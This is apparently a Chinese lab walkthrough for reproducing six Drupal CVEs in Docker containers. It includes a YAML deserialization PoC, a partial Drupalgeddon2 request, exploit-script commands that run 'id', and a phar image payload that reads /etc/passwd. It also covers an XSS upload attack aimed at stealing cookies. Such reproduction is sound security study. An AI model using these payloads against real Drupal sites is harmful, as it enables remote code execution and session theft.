总字符数: 6.19K
代码: 1.81K, 文本: 1.69K
预计阅读时间: 15 分钟
Drupal < 7.32 “Drupalgeddon” SQL注入漏洞(CVE-2014-3704)
环境启动后,访问http://103.116.46.7:8080/install.php
即可看到Drupal的安装页面,使用默认配置安装即可.
其中,Mysql数据库名填写drupal
,数据库用户名、密码为root
,地址为mysql
:
安装完成后,访问首页:
该漏洞无需认证,发送如下数据包即可执行恶意SQL语句
Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)
环境启动后,访问 http://103.116.46.7:8080/
将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库
先安装
yaml
扩展1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26# 进入容器 CONTAINER换成自己的容器ID
docker exec -it CONTAINER /bin/bash
# 换镜像源,默认不带vim编辑器,所以用cat换源,可以换成自己喜欢的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安装依赖
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安装yaml扩展
pecl install yaml
docker-php-ext-enable yaml.so
# 启用 yaml.decode_php 否则无法复现成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重启容器,CONTAINER换成自己的容器ID
docker restart CONTAINER进入安装页面,安装drupal
登录一个管理员账号,访问
http://103.116.46.7:8080/admin/config/development/configuration/single/import
如下图所示,
Configuration type
选择Simple configuration
,Configuration name
任意填写,Paste your configuration here
中填写PoC如下!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
点击
Import
后可以看到漏洞触发成功,弹出phpinfo
页面
- Tips:
- 虽然官方 CPE 信息显示从
8.0.0
开始就有该漏洞,但是在drupal:8.0.0
容器内并没有复现成功,相同操作在drupal:8.3.0
则可以复现成功,故基础镜像选择drupal:8.3.0
- 虽然官方 CPE 信息显示从
Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)
Drupal 是一款用量庞大的CMS,其6/7/8版本的Form API中存在一处远程代码执行漏洞.相关分析如下:
环境启动后,访问http://your-ip:8080/
将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考上一个环境)
我们向安装完成的drupal发送如下数据包:
1 | POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 |
成功执行代码,这个代码最终执行了id命令:
Drupal 远程代码执行漏洞(CVE-2018-7602)
环境启动后,访问 http://103.116.46.7:8081/
将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考CVE-2017-6920)
参考pimps/CVE-2018-7600的PoC.
如下图所示,执行以下命令即可复现该漏洞.示例命令为 id
,如图红框中显示,可以执行该命令
1 | # "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码 |
Drupal 远程代码执行漏洞(CVE-2019-6339)
**利用版本:**Drupal core 7.62之前的7.x版本 8.6.6之前的8.6.x版本 8.5.9之前的8.5.x版本
环境启动后,访问 http://your-ip:8080/
将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考CVE-2017-6920)
修改大佬的PoC为自己想要的poc,使用010Editor将图片中的cat /etc/passwd
改成你想要的命令,这里改成uname -a,8这个数字为命令的字符数,这里是8个字符
如下图所示,使用管理员用户上传头像,头像图片为构造好的poc
Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/
,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置.
访问 http://103.116.46.7:8080/admin/config/media/file-system
,在 Temporary directory
处输入之前上传的图片路径,示例为 phar://./sites/default/files/pictures/2022-10/blog-ZDI-CAN-7232-cat.jpg
,保存后将触发该漏洞.如下图所示,触发成功.容器内不带ping和curl命令,请勿尝试dnslog,亲测
Drupal XSS漏洞(CVE-2019-6341)
- 影响软件:Drupal
- 方式:通过文件模块或者子系统上传恶意文件触发XSS漏洞
- 参考链接:Drupal 1-click to RCE 分析
- 效果:JS代码执行(Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等)
环境启动后,访问 http://your-ip:8080/
将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考CVE-2017-6920)
该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞.
Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/
,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置.
使用PoC上传构造好的伪造GIF文件,PoC参考thezdi/PoC的PoC.将poc中的$port = 80;
改为$argv[1]
如图,输入如下命令,即可使用PoC构造样本并完成上传功能,第一个参数为目标IP 第二个参数为目标端口.
1 | php cve-2019-6341-exp.php 103.116.46.7 8080 |
上传成功后,访问图片位置,即可触发 XSS 漏洞,如下图所示.
Tips:
- 因为 Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证存在时可使用 Edge 浏览器或者 IE 浏览器.
- 访问的图片名称为_0的原因是因为 Drupal 的规则机制,具体原理见Drupal 1-click to RCE 分析